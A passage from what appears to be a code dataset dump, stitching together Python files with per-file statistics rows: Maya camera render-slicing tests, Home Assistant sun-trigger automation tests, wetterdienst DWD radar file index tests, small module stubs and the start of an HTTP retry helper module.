expected_values[i] ) def test_slice_will_set_the_vertical_pan_attribute_of_the_camera_properly(self): """testing if calling the slice() method will set the verticalPan attribute of the camera properly """ rs = RenderSlicer(camera=self.camera) rs.slice(2, 3) expected_values = [ -0.2657475, -0.2657475, 0, 0, 0.2657475, 0.2657475 ] for i in range(6): pm.currentTime(i) self.assertAlmostEqual( self.camera.verticalPan.get(), expected_values[i] ) def test_slice_will_set_the_zoom_attribute_of_the_camera_properly(self): """testing if calling the slice() method will set the zoom attribute of the camera properly """ rs = RenderSlicer(camera=self.camera) rs.slice(2, 3) self.assertAlmostEqual(self.camera.zoom.get(), 0.5) def test_slice_will_set_the_vertical_film_aperture_of_the_camera_properly(self): """testing if calling the slice() method will set the verticalFilmAperture attribute of the camera properly """ rs = RenderSlicer(camera=self.camera) rs.slice(2, 3) self.assertAlmostEqual( self.camera.verticalFilmAperture.get(), 0.7972425 ) def test_slice_will_un_slice_the_same_camera(self): """testing if calling the slice() method will un-slice the camera if it is already sliced """ # check the scene render resolution first dres = pm.PyNode('defaultResolution') dres.width.set(960) dres.height.set(540) rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) # check the render resolution self.assertEqual(dres.width.get(), 96) self.assertEqual(dres.height.get(), 54) # create a new camera and slice again rs2 = RenderSlicer(camera=self.camera) rs2.slice(5, 5) # check the resolution self.assertEqual(dres.width.get(), 192) self.assertEqual(dres.height.get(), 108) def test_slice_will_un_slice_if_the_scene_has_a_silced_camera(self): """testing if calling the slice() method will un-slice the scene if there is a previously sliced camera """ # check the scene render resolution first dres = pm.PyNode('defaultResolution') dres.width.set(960) dres.height.set(540) rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) # check the render resolution self.assertEqual(dres.width.get(), 96) self.assertEqual(dres.height.get(), 54) # create a new camera and slice again cam = pm.nt.Camera() rs2 = RenderSlicer(camera=cam) rs2.slice(5, 5) # check the resolution self.assertEqual(dres.width.get(), 192) self.assertEqual(dres.height.get(), 108) def test_slice_will_set_the_pixel_aspect_to_1(self): """testing if the slice() method will set the render pixel aspect to 1 """ dres = pm.PyNode('defaultResolution') dres.width.set(1920) dres.height.set(1080) dres.pixelAspect.set(2.5) rs = RenderSlicer(self.camera) rs.slice(10, 10) self.assertEqual(dres.pixelAspect.get(), 1) self.assertEqual(dres.width.get(), 192) self.assertEqual(dres.height.get(), 108) def test_unslice_will_set_the_pixel_aspect_to_1(self): """testing if the unslice() method will set the pixel aspect to 1 """ dres = pm.PyNode('defaultResolution') dres.width.set(1920) dres.height.set(1080) dres.pixelAspect.set(2.5) rs = RenderSlicer(self.camera) rs.slice(10, 10) rs.unslice() self.assertEqual(dres.pixelAspect.get(), 1) self.assertEqual(dres.width.get(), 1920) self.assertEqual(dres.height.get(), 1080) def test_unslice_scene_will_set_the_pixel_aspect_to_1(self): """testing if the unslice_scene() method will set the pixel aspect to 1 """ dres = pm.PyNode('defaultResolution') dres.width.set(1920) dres.height.set(1080) dres.pixelAspect.set(1.0) rs = RenderSlicer(self.camera) rs.slice(10, 10) rs.unslice_scene() self.assertEqual(dres.pixelAspect.get(), 1) self.assertEqual(dres.width.get(), 1920) self.assertEqual(dres.height.get(), 1080) def test_unslice_will_restore_original_render_resolution(self): """unslice will restore the original render resolution """ dres = pm.PyNode('defaultResolution') dres.width.set(960) dres.height.set(540) rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) self.assertEqual(dres.width.get(), 96) self.assertEqual(dres.height.get(), 54) rs.unslice() self.assertEqual(dres.width.get(), 960) self.assertEqual(dres.height.get(), 540) def test_unslice_will_set_the_is_sliced_attribute_of_the_camera_correctly(self): """testing if unslice() method will set the isSliced attribute of the camera correctly """ rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) self.assertTrue(self.camera.isSliced.get()) rs.unslice() self.assertFalse(self.camera.isSliced.get()) def test_unslice_will_set_the_is_sliced_attribute_correctly(self): """testing if unslice() method will set the is_sliced attribute\ correctly """ rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) self.assertTrue(rs.is_sliced) rs.unslice() self.assertFalse(rs.is_sliced) def test_init_with_a_sliced_camera(self): """testing if initializing with a pre-sliced camera will work properly """ dres = pm.PyNode('defaultResolution') dres.width.set(1000) dres.height.set(1000) rs = RenderSlicer(camera=self.camera) rs.slice(10, 10) rs2 = RenderSlicer(camera=self.camera) self.assertEqual(rs2.is_sliced, True) self.assertEqual(rs2.slices_in_x, 10) self.assertEqual(rs2.slices_in_y, 10) # self.assertEqual(rs2.original_resolution, 1000)
34.437372
86
0.633236
2,146
16,771
4.778658
0.089469
0.07606
0.049927
0.084642
0.841833
0.793369
0.767528
0.74471
0.720527
0.68864
0
0.029639
0.273746
16,771
487
87
34.437372
0.812315
0.211675
0
0.61512
0
0
0.080361
0.015216
0
0
0
0
0.268041
1
0.116838
false
0
0.013746
0
0.134021
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
dce24ac3ade97470fc279704acd16cb0f12189eb
145
py
Python
Global Variables/b.py
rtomasa/pysamples
84fbec83756eb46dff37124f1957d100833636ff
[ "Unlicense" ]
null
null
null
Global Variables/b.py
rtomasa/pysamples
84fbec83756eb46dff37124f1957d100833636ff
[ "Unlicense" ]
null
null
null
Global Variables/b.py
rtomasa/pysamples
84fbec83756eb46dff37124f1957d100833636ff
[ "Unlicense" ]
null
null
null
import globals class B: def __init__(self): pass def print(self): print('B', globals.g1) print('B', globals.g2)
16.111111
30
0.551724
19
145
4
0.578947
0.157895
0.342105
0
0
0
0
0
0
0
0
0.020202
0.317241
145
9
31
16.111111
0.747475
0
0
0
0
0
0.013699
0
0
0
0
0
0
1
0.285714
false
0.142857
0.142857
0
0.571429
0.428571
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
1
0
6
dce7933a759755f05efb203e22224e2544d50be8
10,157
py
Python
tests/components/automation/test_sun.py
XRyu/home-assistant
c9c707e368be159f0138a40d21fdea7a2a650ffe
[ "Apache-2.0" ]
null
null
null
tests/components/automation/test_sun.py
XRyu/home-assistant
c9c707e368be159f0138a40d21fdea7a2a650ffe
[ "Apache-2.0" ]
null
null
null
tests/components/automation/test_sun.py
XRyu/home-assistant
c9c707e368be159f0138a40d21fdea7a2a650ffe
[ "Apache-2.0" ]
null
null
null
"""The tests for the sun automation.""" from datetime import datetime import pytest from unittest.mock import patch from homeassistant.setup import async_setup_component from homeassistant.components import sun import homeassistant.components.automation as automation import homeassistant.util.dt as dt_util from tests.common import ( async_fire_time_changed, mock_component, async_mock_service) from tests.components.automation import common @pytest.fixture def calls(hass): """Track calls to a mock serivce.""" return async_mock_service(hass, 'test', 'automation') @pytest.fixture(autouse=True) def setup_comp(hass): """Initialize components.""" mock_component(hass, 'group') hass.loop.run_until_complete(async_setup_component(hass, sun.DOMAIN, { sun.DOMAIN: {sun.CONF_ELEVATION: 0}})) async def test_sunset_trigger(hass, calls): """Test the sunset trigger.""" now = datetime(2015, 9, 15, 23, tzinfo=dt_util.UTC) trigger_time = datetime(2015, 9, 16, 2, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'sun', 'event': 'sunset', }, 'action': { 'service': 'test.automation', } } }) await common.async_turn_off(hass) await hass.async_block_till_done() async_fire_time_changed(hass, trigger_time) await hass.async_block_till_done() assert 0 == len(calls) with patch('homeassistant.util.dt.utcnow', return_value=now): await common.async_turn_on(hass) await hass.async_block_till_done() async_fire_time_changed(hass, trigger_time) await hass.async_block_till_done() assert 1 == len(calls) async def test_sunrise_trigger(hass, calls): """Test the sunrise trigger.""" now = datetime(2015, 9, 13, 23, tzinfo=dt_util.UTC) trigger_time = datetime(2015, 9, 16, 14, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'sun', 'event': 'sunrise', }, 'action': { 'service': 'test.automation', } } }) async_fire_time_changed(hass, trigger_time) await hass.async_block_till_done() assert 1 == len(calls) async def test_sunset_trigger_with_offset(hass, calls): """Test the sunset trigger with offset.""" now = datetime(2015, 9, 15, 23, tzinfo=dt_util.UTC) trigger_time = datetime(2015, 9, 16, 2, 30, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'sun', 'event': 'sunset', 'offset': '0:30:00' }, 'action': { 'service': 'test.automation', 'data_template': { 'some': '{{ trigger.%s }}' % '}} - {{ trigger.'.join(( 'platform', 'event', 'offset')) }, } } }) async_fire_time_changed(hass, trigger_time) await hass.async_block_till_done() assert 1 == len(calls) assert 'sun - sunset - 0:30:00' == calls[0].data['some'] async def test_sunrise_trigger_with_offset(hass, calls): """Test the sunrise trigger with offset.""" now = datetime(2015, 9, 13, 23, tzinfo=dt_util.UTC) trigger_time = datetime(2015, 9, 16, 13, 30, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'sun', 'event': 'sunrise', 'offset': '-0:30:00' }, 'action': { 'service': 'test.automation', } } }) async_fire_time_changed(hass, trigger_time) await hass.async_block_till_done() assert 1 == len(calls) async def test_if_action_before(hass, calls): """Test if action was before.""" await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'event', 'event_type': 'test_event', }, 'condition': { 'condition': 'sun', 'before': 'sunrise', }, 'action': { 'service': 'test.automation' } } }) now = datetime(2015, 9, 16, 15, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 0 == len(calls) now = datetime(2015, 9, 16, 10, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 1 == len(calls) async def test_if_action_after(hass, calls): """Test if action was after.""" await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'event', 'event_type': 'test_event', }, 'condition': { 'condition': 'sun', 'after': 'sunrise', }, 'action': { 'service': 'test.automation' } } }) now = datetime(2015, 9, 16, 13, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 0 == len(calls) now = datetime(2015, 9, 16, 15, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 1 == len(calls) async def test_if_action_before_with_offset(hass, calls): """Test if action was before offset.""" await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'event', 'event_type': 'test_event', }, 'condition': { 'condition': 'sun', 'before': 'sunrise', 'before_offset': '+1:00:00' }, 'action': { 'service': 'test.automation' } } }) now = datetime(2015, 9, 16, 14, 32, 44, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 0 == len(calls) now = datetime(2015, 9, 16, 14, 32, 43, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 1 == len(calls) async def test_if_action_after_with_offset(hass, calls): """Test if action was after offset.""" await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'event', 'event_type': 'test_event', }, 'condition': { 'condition': 'sun', 'after': 'sunrise', 'after_offset': '+1:00:00' }, 'action': { 'service': 'test.automation' } } }) now = datetime(2015, 9, 16, 14, 32, 42, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 0 == len(calls) now = datetime(2015, 9, 16, 14, 32, 43, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 1 == len(calls) async def test_if_action_before_and_after_during(hass, calls): """Test if action was before and after during.""" await async_setup_component(hass, automation.DOMAIN, { automation.DOMAIN: { 'trigger': { 'platform': 'event', 'event_type': 'test_event', }, 'condition': { 'condition': 'sun', 'after': 'sunrise', 'before': 'sunset' }, 'action': { 'service': 'test.automation' } } }) now = datetime(2015, 9, 16, 13, 8, 51, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 0 == len(calls) now = datetime(2015, 9, 17, 2, 25, 18, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 0 == len(calls) now = datetime(2015, 9, 16, 16, tzinfo=dt_util.UTC) with patch('homeassistant.util.dt.utcnow', return_value=now): hass.bus.async_fire('test_event') await hass.async_block_till_done() assert 1 == len(calls)
31.740625
74
0.548587
1,113
10,157
4.806828
0.09434
0.02243
0.046168
0.053271
0.84785
0.828972
0.815514
0.778131
0.756262
0.756262
0
0.03478
0.326277
10,157
319
75
31.840125
0.747041
0.008566
0
0.680769
0
0
0.153102
0.046095
0
0
0
0
0.065385
1
0.007692
false
0
0.034615
0
0.046154
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
0d002e714902aec4984ee36c0957284c763166ba
33
py
Python
pystibmivb/domain/util/__init__.py
danito/pystibmivb-1
e14f9b7b0c6c5578003d354b81542da586c27d29
[ "CC-BY-4.0" ]
4
2020-02-28T00:28:54.000Z
2021-03-03T17:13:53.000Z
pystibmivb/domain/util/__init__.py
danito/pystibmivb-1
e14f9b7b0c6c5578003d354b81542da586c27d29
[ "CC-BY-4.0" ]
11
2020-05-28T11:45:04.000Z
2020-06-17T06:14:20.000Z
pystibmivb/domain/util/__init__.py
danito/pystibmivb-1
e14f9b7b0c6c5578003d354b81542da586c27d29
[ "CC-BY-4.0" ]
3
2020-03-26T16:56:28.000Z
2021-03-03T15:01:35.000Z
from .util import get_time_delta
16.5
32
0.848485
6
33
4.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.121212
33
1
33
33
0.896552
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
0d03801b92427ee55fd9f2e6922668a1efc6bb0f
229
py
Python
IOTBX/symmetryFromPDB.py
MooersLab/jupyterlabcctbxsnipsplus
80a380046adcc9b16581ed1681884017514edbb7
[ "MIT" ]
null
null
null
IOTBX/symmetryFromPDB.py
MooersLab/jupyterlabcctbxsnipsplus
80a380046adcc9b16581ed1681884017514edbb7
[ "MIT" ]
null
null
null
IOTBX/symmetryFromPDB.py
MooersLab/jupyterlabcctbxsnipsplus
80a380046adcc9b16581ed1681884017514edbb7
[ "MIT" ]
null
null
null
# Description: Print the symmetry from a PDB file. # Source: NA """ import iotbx iotbx.pdb.crystal_symmetry_from_pdb.extract_from("${1:3nd4}.pdb") """ import iotbx iotbx.pdb.crystal_symmetry_from_pdb.extract_from("3nd4.pdb")
20.818182
65
0.759825
35
229
4.742857
0.457143
0.216867
0.192771
0.228916
0.626506
0.626506
0.626506
0.626506
0.626506
0.626506
0
0.02439
0.104803
229
10
66
22.9
0.785366
0.615721
0
0
0
0
0.101266
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
0
null
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
0d16cadc28205bc8fc07cfd86e404159093ee368
7,097
py
Python
tests/provider/dwd/radar/test_index.py
bh-chaker/wetterdienst
b0d51bb4c7392eb47834e4978e26882d74b22e35
[ "MIT" ]
155
2020-07-03T05:09:22.000Z
2022-03-28T06:57:39.000Z
tests/provider/dwd/radar/test_index.py
bh-chaker/wetterdienst
b0d51bb4c7392eb47834e4978e26882d74b22e35
[ "MIT" ]
453
2020-07-02T21:21:52.000Z
2022-03-31T21:35:36.000Z
tests/provider/dwd/radar/test_index.py
bh-chaker/wetterdienst
b0d51bb4c7392eb47834e4978e26882d74b22e35
[ "MIT" ]
21
2020-09-07T12:13:27.000Z
2022-03-26T16:26:09.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2018-2021, earthobservations developers. # Distributed under the MIT License. See LICENSE for more info. from pathlib import PurePath import pytest from wetterdienst import Period, Resolution from wetterdienst.provider.dwd.metadata.column_names import DwdColumns from wetterdienst.provider.dwd.radar.index import create_fileindex_radar from wetterdienst.provider.dwd.radar.metadata import ( DwdRadarDataFormat, DwdRadarDataSubset, DwdRadarParameter, ) from wetterdienst.provider.dwd.radar.sites import DwdRadarSite def test_radar_fileindex_composite_pg_reflectivity_bin(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.PG_REFLECTIVITY, fmt=DwdRadarDataFormat.BINARY, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match("*/weather/radar/composit/pg/*---bin") for url in urls ) def test_radar_fileindex_composite_pg_reflectivity_bufr(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.PG_REFLECTIVITY, fmt=DwdRadarDataFormat.BUFR, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match("*/weather/radar/composit/pg/*---bufr") for url in urls ) @pytest.mark.xfail(reason="Out of service", strict=True) def test_radar_fileindex_composite_rx_reflectivity_bin(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.RX_REFLECTIVITY, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match("*/weather/radar/composit/rx/*---bin") for url in urls ) @pytest.mark.parametrize( "parameter", [ DwdRadarParameter.RW_REFLECTIVITY, DwdRadarParameter.RY_REFLECTIVITY, DwdRadarParameter.SF_REFLECTIVITY, ], ) def test_radar_fileindex_radolan_reflectivity_bin(parameter): file_index = create_fileindex_radar( parameter=parameter, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match(f"*/weather/radar/radolan/{parameter.value}/*---bin") for url in urls ) def test_radar_fileindex_sites_px_reflectivity_bin(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.PX_REFLECTIVITY, site=DwdRadarSite.BOO, fmt=DwdRadarDataFormat.BINARY, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match("*/weather/radar/sites/px/boo/*---bin") for url in urls ) def test_radar_fileindex_sites_px_reflectivity_bufr(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.PX_REFLECTIVITY, site=DwdRadarSite.BOO, fmt=DwdRadarDataFormat.BUFR, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match("*/weather/radar/sites/px/boo/*---buf") for url in urls ) def test_radar_fileindex_sites_px250_reflectivity_bufr(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.PX250_REFLECTIVITY, site=DwdRadarSite.BOO, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all("/weather/radar/sites/px250/boo" in url for url in urls) def test_radar_fileindex_sites_sweep_bufr(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.SWEEP_VOL_VELOCITY_H, site=DwdRadarSite.BOO, fmt=DwdRadarDataFormat.BUFR, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match("*/weather/radar/sites/sweep_vol_v/boo/*--buf.bz2") for url in urls ) def test_radar_fileindex_sites_sweep_vol_v_hdf5_simple(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.SWEEP_VOL_VELOCITY_H, site=DwdRadarSite.BOO, fmt=DwdRadarDataFormat.HDF5, subset=DwdRadarDataSubset.SIMPLE, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( "/weather/radar/sites/sweep_vol_v/boo/hdf5/filter_simple" in url for url in urls ) def test_radar_fileindex_sites_sweep_vol_v_hdf5_polarimetric(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.SWEEP_VOL_VELOCITY_H, site=DwdRadarSite.BOO, fmt=DwdRadarDataFormat.HDF5, subset=DwdRadarDataSubset.POLARIMETRIC, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( "/weather/radar/sites/sweep_vol_v/boo/hdf5/filter_polarimetric" in url for url in urls ) def test_radar_fileindex_radolan_cdc_daily_recent(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.RADOLAN_CDC, resolution=Resolution.DAILY, period=Period.RECENT, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match( "*/climate_environment/CDC/grids_germany/daily/radolan/recent/bin/*---bin.gz" ) for url in urls if not url.endswith(".pdf") ) def test_radar_fileindex_radolan_cdc_daily_historical(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.RADOLAN_CDC, resolution=Resolution.DAILY, period=Period.HISTORICAL, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match( "*/climate_environment/CDC/grids_germany/daily/radolan/historical/bin/*/SF*.tar.gz" ) for url in urls if not url.endswith(".pdf") ) def test_radar_fileindex_radolan_cdc_hourly_recent(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.RADOLAN_CDC, resolution=Resolution.HOURLY, period=Period.RECENT, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match( "*/climate_environment/CDC/grids_germany/hourly/radolan/recent/bin/*---bin.gz" ) for url in urls if not url.endswith(".pdf") ) def test_radar_fileindex_radolan_cdc_hourly_historical(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.RADOLAN_CDC, resolution=Resolution.HOURLY, period=Period.HISTORICAL, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match( "*/climate_environment/CDC/grids_germany/hourly/radolan/historical/bin/*/RW*.tar.gz" ) for url in urls if not url.endswith(".pdf") ) def test_radar_fileindex_radolan_cdc_5minutes(): file_index = create_fileindex_radar( parameter=DwdRadarParameter.RADOLAN_CDC, resolution=Resolution.MINUTE_5, ) urls = file_index[DwdColumns.FILENAME.value].tolist() assert all( PurePath(url).match( "*/climate_environment/CDC/grids_germany/5_minutes/radolan/reproc/2017_002/bin/*/YW2017*.tar" ) for url in urls if not url.endswith(".tar.gz") )
27.940945
105
0.69931
814
7,097
5.853808
0.143735
0.056663
0.067156
0.066107
0.832109
0.799161
0.781952
0.766212
0.759496
0.706401
0
0.006876
0.200789
7,097
253
106
28.051383
0.833216
0.019445
0
0.508108
0
0
0.125377
0.118763
0
0
0
0
0.081081
1
0.081081
false
0
0.037838
0
0.118919
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
0d369a96a1f368ae415182506fac9495d0fc6fd4
73
py
Python
tests/test_importer.py
Gaasmann/sa-learner
d0236b39ba87576281b521b8c26ceee5baa59247
[ "MIT" ]
1
2018-07-26T08:23:43.000Z
2018-07-26T08:23:43.000Z
tests/test_importer.py
Gaasmann/sa-learner
d0236b39ba87576281b521b8c26ceee5baa59247
[ "MIT" ]
null
null
null
tests/test_importer.py
Gaasmann/sa-learner
d0236b39ba87576281b521b8c26ceee5baa59247
[ "MIT" ]
null
null
null
import salearner.importer as importer def test_dummy(): assert True
14.6
37
0.767123
10
73
5.5
0.9
0
0
0
0
0
0
0
0
0
0
0
0.178082
73
4
38
18.25
0.916667
0
0
0
0
0
0
0
0
0
0
0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
6
b4a1cc55095f1405fcb31fe1a603b790810fdb0b
43
py
Python
src/widgets/__init__.py
devs-7/bible-projector-python
a62b95bdc0c655ba04adf3b47197c562e09468b9
[ "Apache-2.0" ]
null
null
null
src/widgets/__init__.py
devs-7/bible-projector-python
a62b95bdc0c655ba04adf3b47197c562e09468b9
[ "Apache-2.0" ]
null
null
null
src/widgets/__init__.py
devs-7/bible-projector-python
a62b95bdc0c655ba04adf3b47197c562e09468b9
[ "Apache-2.0" ]
null
null
null
from .icon_button_widget import IconButton
21.5
42
0.883721
6
43
6
1
0
0
0
0
0
0
0
0
0
0
0
0.093023
43
1
43
43
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
b4f323ef7df0c521ef3282d672a67903f549b898
265
py
Python
services/associationService.py
dainiuskreivenas/rbs
1d371963ccd64976b3f0603dead891f51996cfb1
[ "MIT" ]
1
2021-10-04T17:44:04.000Z
2021-10-04T17:44:04.000Z
services/associationService.py
dainiuskreivenas/rbs
1d371963ccd64976b3f0603dead891f51996cfb1
[ "MIT" ]
12
2019-07-16T08:31:50.000Z
2019-11-19T17:58:53.000Z
services/associationService.py
dainiuskreivenas/rbs
1d371963ccd64976b3f0603dead891f51996cfb1
[ "MIT" ]
null
null
null
from ..lib import AssocReaderClass class AssociationService: def __init__(self, assocFile): self.__associations = AssocReaderClass() self.__associations.readAssocFile(assocFile) def getAssociations(self): return self.__associations
29.444444
52
0.739623
23
265
8.086957
0.608696
0.258065
0
0
0
0
0
0
0
0
0
0
0.188679
265
9
53
29.444444
0.865116
0
0
0
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0.142857
0.142857
0.714286
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
37309fded059f8080ecfc90804c89e336586e067
157
py
Python
synthesizAR/instruments/__init__.py
wtbarnes/synthesizAR
b6dfc3a71f7a63d46458df534709f50694246dac
[ "BSD-3-Clause" ]
6
2016-09-02T13:38:51.000Z
2021-02-04T08:29:02.000Z
synthesizAR/instruments/__init__.py
wtbarnes/synthesizAR
b6dfc3a71f7a63d46458df534709f50694246dac
[ "BSD-3-Clause" ]
61
2017-02-17T21:01:53.000Z
2021-08-12T12:56:59.000Z
synthesizAR/instruments/__init__.py
wtbarnes/synthesizAR
b6dfc3a71f7a63d46458df534709f50694246dac
[ "BSD-3-Clause" ]
2
2018-06-11T15:03:36.000Z
2021-03-15T14:18:36.000Z
""" Various instruments for observing the synthesized active region """ from .base import * from .hinode import * from .physical import * from .sdo import *
19.625
63
0.745223
20
157
5.85
0.7
0.25641
0
0
0
0
0
0
0
0
0
0
0.165605
157
7
64
22.428571
0.89313
0.401274
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
2efbafd6fec586907f407d814ed5c8aac37ce79f
62
py
Python
wpkit/gen_scripts/__init__.py
Peiiii/wpkit
23a07548be766b559b80e3114ecc24e3f2f65ea5
[ "MIT" ]
null
null
null
wpkit/gen_scripts/__init__.py
Peiiii/wpkit
23a07548be766b559b80e3114ecc24e3f2f65ea5
[ "MIT" ]
null
null
null
wpkit/gen_scripts/__init__.py
Peiiii/wpkit
23a07548be766b559b80e3114ecc24e3f2f65ea5
[ "MIT" ]
null
null
null
from . import gen_scripts from .gen_scripts import gen_service
31
36
0.854839
10
62
5
0.5
0.36
0
0
0
0
0
0
0
0
0
0
0.112903
62
2
36
31
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
2c11add8b510a32771d5b1fe376fcb9174f8a6b3
12,499
py
Python
smoothcrawler/components/httpio.py
Chisanan232/pytsunami
099f16e6351b8cfcce4528d53273c381c1dc3bf9
[ "Apache-2.0" ]
null
null
null
smoothcrawler/components/httpio.py
Chisanan232/pytsunami
099f16e6351b8cfcce4528d53273c381c1dc3bf9
[ "Apache-2.0" ]
null
null
null
smoothcrawler/components/httpio.py
Chisanan232/pytsunami
099f16e6351b8cfcce4528d53273c381c1dc3bf9
[ "Apache-2.0" ]
null
null
null
from abc import ABCMeta, abstractmethod from types import MethodType, FunctionType, CoroutineType from typing import Callable, Coroutine, Optional, Union, Type, Any from multirunnable.api import retry as _retry, async_retry as _async_retry import re RETRY_TIME: int = 1 def set_retry(times: int) -> None: global RETRY_TIME RETRY_TIME = times def get_retry() -> int: return RETRY_TIME class BaseRetryComponent(metaclass=ABCMeta): @abstractmethod def before_request(self, *args, **kwargs) -> None: pass @abstractmethod def request_done(self, result): return result @abstractmethod def request_final(self) -> None: pass @abstractmethod def request_error(self, error: Exception): return error class RetryComponent(BaseRetryComponent): def before_request(self, *args, **kwargs) -> None: pass def request_done(self, result): return result def request_final(self) -> None: pass def request_error(self, error: Exception): raise error class AsyncRetryComponent(BaseRetryComponent): async def before_request(self, *args, **kwargs) -> None: pass async def request_done(self, result): return result async def request_final(self) -> None: pass async def request_error(self, 